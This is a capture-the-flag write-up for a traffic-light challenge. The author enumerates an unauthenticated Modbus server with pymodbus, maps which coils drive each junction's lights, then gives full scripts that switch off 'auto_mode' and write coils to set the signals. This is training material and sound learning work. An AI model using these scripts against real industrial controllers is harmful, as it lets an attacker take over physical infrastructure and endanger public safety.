# Analysis
## Introduction 
We are provided with an IP address. A website is hosted on the IP address:
![](https://i.imgur.com/IkLVtZf.png)
The challenge description tells us that our aim is to set the lights in a way that allows the path to be followed. The backend returns the following:
```json{  "1": {    "EG": 0,     "ER": 1,     "EY": 0,     "NG": 1,     "NR": 0,     "NY": 0,     "SG": 0,     "SR": 1,     "SY": 0,     "WG": 0,     "WR": 1,     "WY": 0  },   "2": {    "EG": 0,     "ER": 0,     "EY": 1,     "NG": 0,     "NR": 0,     "NY": 1,     "SG": 0,     "SR": 1,     "SY": 0,     "WG": 0,     "WR": 1,     "WY": 0  },   "3": {    "EG": 1,     "ER": 0,     "EY": 0,     "NG": 0,     "NR": 1,     "NY": 0,     "SG": 0,     "SR": 1,     "SY": 0,     "WG": 0,     "WR": 1,     "WY": 0  },   "4": {    "EG": 0,     "ER": 1,     "EY": 0,     "NG": 0,     "NR": 0,     "NY": 1,     "SG": 0,     "SR": 1,     "SY": 0,     "WG": 0,     "WR": 0,     "WY": 1  },   "5": {    "EG": 0,     "ER": 1,     "EY": 0,     "NG": 1,     "NR": 0,     "NY": 0,     "SG": 0,     "SR": 1,     "SY": 0,     "WG": 0,     "WR": 1,     "WY": 0  },   "6": {    "EG": 1,     "ER": 0,     "EY": 0,     "NG": 0,     "NR": 1,     "NY": 0,     "SG": 0,     "SR": 1,     "SY": 0,     "WG": 0,     "WR": 1,     "WY": 0  },   "flag": "University CTF 2021"}
```
Which details the state of every light.
## Modbus
An `nmap` scan of the IP reveals that port 502 is open. This port is used for Modbus communication. The `pymodbus` module provides a nice CLI and programming interface.
Modbus allows you to read and write data on a number of units (devices). There are four types of data:
| Name             | Size    | Operations     || ---------------- | ------- | -------------- || Discrete Input   | 1 bit   | Read           || Coil             | 1 bit   | Read and Write || Input Register   | 16 bits | Read           || Holding Register | 16 bits | Read and Write |
The `pymodbus` CLI reveals that the provided server has 32 units, each with:
- 2999 discrete inputs.- 2999 coils.- 99 input registers.- 99 holding registers.
The holding registers for units 1-6 all start with the following data:
```json{    "registers": [        97,        117,        116,        111,        95,        109,        111,        100,        101,        58,        116,        114,        117,        101,        0,        0,        0,        0,        0,        0    ]}```
This decodes to the ASCII `auto_mode:true`. We will probably need to change this to `auto_mode:false` in order to change the lights.
It is not obvious where the light states are stored so we'll use `pymodbus` to dump all data that doesn't have the default value:
```pythonfor unit in range(32):    for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers):        if register != 0:            print(f"hr {unit} {address} {register}")
for unit in range(32):    for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers):        if register != 1:            print(f"ir {unit} {address} {register}")
for unit in range(32):    for address_base in range(0, 2999, 256):        for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]):            if coil != False:                print(f"c {unit} {address_base + address_index} {coil}")
for unit in range(32):    for address_base in range(0, 2999, 256):        for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]):            if coil != True:                print(f"di {unit} {address_base + address_index} {coil}")```
The script can be found at the bottom of the page.
Running the script reveals the `auto_mode` holding registers as we would expect but also some coils at odd addresses:
```plainc 1 571 Truec 1 576 Truec 1 579 Truec 1 582 Truec 2 1921 Truec 2 1924 Truec 2 1928 Truec 2 1931 Truec 3 531 Truec 3 532 Truec 3 537 Truec 3 540 Truec 4 1267 Truec 4 1271 Truec 4 1274 Truec 4 1276 Truec 5 925 Truec 5 930 Truec 5 933 Truec 5 936 Truec 6 888 Truec 6 889 Truec 6 894 Truec 6 897 True```
There are four `True` values for each unit, probably relating to the four lights for each junction. By comparing these results to the API response we can work out that the data layout is:
```plainData layout:ngnynregeyersgsysrwgwywr```
And that the base address for each unit (junction) is:
```plainBases (unit, base):1 5712 19203 5294 12665 9256 886```
This is all the information we need to solve the challenge.
# Solution
We'll start by adding the base addresses and offsets:
```pythonbases = {    1: 571,    2: 1920,    3: 529,    4: 1266,    5: 925,    6: 886}
direction_offsets = {    "n": 0,    "e": 3,    "s": 6,    "w": 9}
colour_offsets = {    "g": 0,    "y": 1,    "r": 2}```
We'll also add the direction that should be green for the junctions:
```pythondirections = {    1: "w",    2: "n",    4: "w",    6: "w"}```
Now let's loop through every unit. We'll start by setting the `auto_mode` to `false`:
```pythonfor unit in range(1, 7):    print(client.write_registers(0, b"auto_mode:false".ljust(99, b"\x00"), unit=unit))```
Then we'll work out the coil data that needs to be written so that the lights we specify turn green and the others turn red:
```python    write = [False] * 12    if unit in directions:        not_red = directions[unit]        for direction in not_red:            write[direction_offsets[direction] + colour_offsets["g"]] = True    else:        not_red = ""
    for direction, direction_offset in direction_offsets.items():        if direction not in not_red:            write[direction_offset + colour_offsets["r"]] = True```
Finally we will write to the coils:
```python    print(client.write_coils(bases[unit], write, unit=unit))```
Running the script causes the flag to appear on the website.
The full script can be found at the bottom of the page.
# Scripts
## `dump_odd.py`
```pythonfrom pymodbus.client.sync import ModbusTcpClient
client = ModbusTcpClient("10.129.228.198")
for unit in range(32):    for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers):        if register != 0:            print(f"hr {unit} {address} {register}")
for unit in range(32):    for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers):        if register != 1:            print(f"ir {unit} {address} {register}")
for unit in range(32):    for address_base in range(0, 2999, 256):        for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]):            if coil != False:                print(f"c {unit} {address_base + address_index} {coil}")
for unit in range(32):    for address_base in range(0, 2999, 256):        for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]):            if coil != True:                print(f"di {unit} {address_base + address_index} {coil}")```
## `solve.py`
```pythonfrom pymodbus.client.sync import ModbusTcpClient
client = ModbusTcpClient("10.129.228.198")
bases = {    1: 571,    2: 1920,    3: 529,    4: 1266,    5: 925,    6: 886}
direction_offsets = {    "n": 0,    "e": 3,    "s": 6,    "w": 9}
colour_offsets = {    "g": 0,    "y": 1,    "r": 2}
directions = {    1: "w",    2: "n",    4: "w",    6: "w"}
for unit in range(1, 7):    print(client.write_registers(0, b"auto_mode:false".ljust(99, b"\x00"), unit=unit))
    write = [False] * 12    if unit in directions:        not_red = directions[unit]        for direction in not_red:            write[direction_offsets[direction] + colour_offsets["g"]] = True    else:        not_red = ""
    for direction, direction_offset in direction_offsets.items():        if direction not in not_red:            write[direction_offset + colour_offsets["r"]] = True
    print(client.write_coils(bases[unit], write, unit=unit))```